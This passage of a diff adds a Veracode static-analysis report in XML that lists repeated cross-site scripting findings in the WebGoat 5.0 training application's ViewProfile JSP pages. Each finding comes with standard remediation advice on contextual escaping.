+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
